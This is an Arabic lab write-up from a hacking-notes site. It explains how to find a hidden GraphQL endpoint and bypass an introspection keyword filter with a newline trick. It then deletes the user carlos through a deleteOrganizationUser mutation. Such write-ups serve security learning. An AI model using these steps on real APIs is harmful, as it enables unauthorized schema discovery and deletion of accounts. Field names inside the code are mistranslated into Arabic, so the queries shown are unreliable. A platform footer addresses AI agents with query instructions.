> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/graphql/graphql-cached-endpoint-discovery.md).

# اكتشاف نقطة نهاية GraphQL المخزنة مؤقتًا

### العثور على نقطة نهاية GraphQL مخفية

**خلفية المختبر**

تعتمد ميزات إدارة المستخدمين في هذا المختبر على GraphQL **مخفي** نقطة نهاية. / لا يمكن اكتشاف ذلك بمجرد التصفح في الموقع، و **PlotQL** توجد آليات دفاع.

**الهدف:**

* تحديد نقطة نهاية GraphQL المخفية
* حذف المستخدم **carlos**

<figure><img src="/files/acddf392d0e683070ead50d2931a73546da6680f" alt=""><figcaption></figcaption></figure>

**الاستطلاع الأولي**

عند التنقل في التطبيق بشكل طبيعي، لا توجد مؤشرات مرئية تكشف استخدام GraphQL. / لذلك من الضروري اختبار أكثر مسارات GraphQL شيوعًا يدويًا.

**اختبار مسارات GraphQL الشائعة**

تم اختبار المسارات التالية

```bash
/graphql
/graphiql
/v1/graphql
/v2/graphql
/v3/graphql
/v1/graphiql
/v2/graphiql
/v3/graphiql
/playground
/v1/playground
/v2/playground
/v3/playground
/api/v1/playground
/api/v2/playground
/api/v3/playground
/console
/api/graphql
/api/graphiql
/explorer
/api/v1/graphql
/api/v2/graphql
/api/v3/graphql
/api/v1/graphiql
/api/v2/graphiql
/api/v3/graphiql
```

المسار **`/api`** يستجيب بالرسالة التالية:

```bash
"الاستعلام غير موجود"
```

وهذا يشير بوضوح إلى وجود نقطة نهاية GraphQL نشطة.

<figure><img src="/files/530866015550eaa1912c4917a29b6562e152c65f" alt=""><figcaption></figcaption></figure>

**التحقق من تصفية الاستكشاف الذاتي**

يتم إرسال طلب استكشاف ذاتي بسيط عبر الرابط:

```bash
api?query={__schema{types{name}}}
```

استجابة الخادم:

`استكشاف GraphQL الذاتي غير مسموح به، لكن الاستعلام احتوى على __schema أو __type`

<figure><img src="/files/78eea8d43f2961642d014f7e57f66f56316affc2" alt=""><figcaption></figcaption></figure>

يحدث نفس الحظر عند إرسال طلب استكشاف ذاتي كامل عبر Burp أو GraphiQL.

{% code overflow="wrap" %}

```bash
query IntrospectionQuery {
    __schema {
        queryType {
            معلمة
        }
        mutationType {
            معلمة
        }
        subscriptionType {
            معلمة
        }
        types {
            ...FullType
        }
        directives {
            معلمة
            الوصف
            المواقع
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    النوع
    معلمة
    الوصف
    fields(includeDeprecated: true) {
        معلمة
        الوصف
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        معلمة
        الوصف
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    معلمة
    الوصف
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    النوع
    معلمة
    ofType {
        النوع
        معلمة
        ofType {
            النوع
            معلمة
            ofType {
                النوع
                معلمة
            }
        }
    }
}
```

{% endcode %}

<figure><img src="/files/66b3f1f5600d695e2c62d5aed4cfc4dbb9a8c4cc" alt=""><figcaption></figcaption></figure>

**التحايل على حظر الاستكشاف الذاتي**

لتجاوز التصفية القائمة على الكلمات المفتاحية `__schema` و `__type`، يتم **إضافة سطر** قبل القوس المفتوح:

```graphql
__schema
     {
```

هذا التعديل البسيط يسمح بقبول الطلب ومعالجته من قبل الخادم.

<figure><img src="/files/99edb22e9ae6af77b1518485ea9f32699e6c3284" alt=""><figcaption></figcaption></figure>

**تحليل مخطط GraphQL**

بمجرد قبول الاستكشاف الذاتي، تُرسل الطلبات المكتشفة إلى **خريطة الموقع** ليتم تحليلها بسهولة أكبر.

<figure><img src="/files/b976f0b34a9d629675ebd3099fd035e9248ba2da" alt=""><figcaption></figcaption></figure>

يتم تحديد طلبين مهمين.

<figure><img src="/files/24a282ab96dc88e927fa6255af30eca2af5231fd" alt=""><figcaption></figcaption></figure>

**استرجاع مستخدم بواسطة المعرف**

طلب للحصول على اسم المستخدم من معرفه:

```graphql
query($id: Int!) {
  getUser(id: $id) {
    المعرّف
    اسم المستخدم
  }
}
```

عند توفير المعرف التالي:

```json
{
    "id":3
}
```

يتبين أن المستخدم ذو المعرف **3** يقابل **carlos**.

<figure><img src="/files/e2790002cbff2e2923e31e6b88d64a219c1cc962" alt=""><figcaption></figcaption></figure>

**حذف المستخدم carlos**

تؤدي عملية نقل إلى إزالة مستخدم من المؤسسة:

```graphql
mutation($input: DeleteOrganizationUserInput) {
  deleteOrganizationUser(input: $input) {
    user {
      المعرّف
      اسم المستخدم
    }
  }
}
```

الحمولة المستخدمة:

```graphql
{
  "input": {
    "id": 3
  }
}
```

المستخدم **carlos** ثم يُحذف بنجاح.

<figure><img src="/files/8aa2f893760a484fd730dd401fb8144c27a72dca" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/graphql/graphql-cached-endpoint-discovery.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
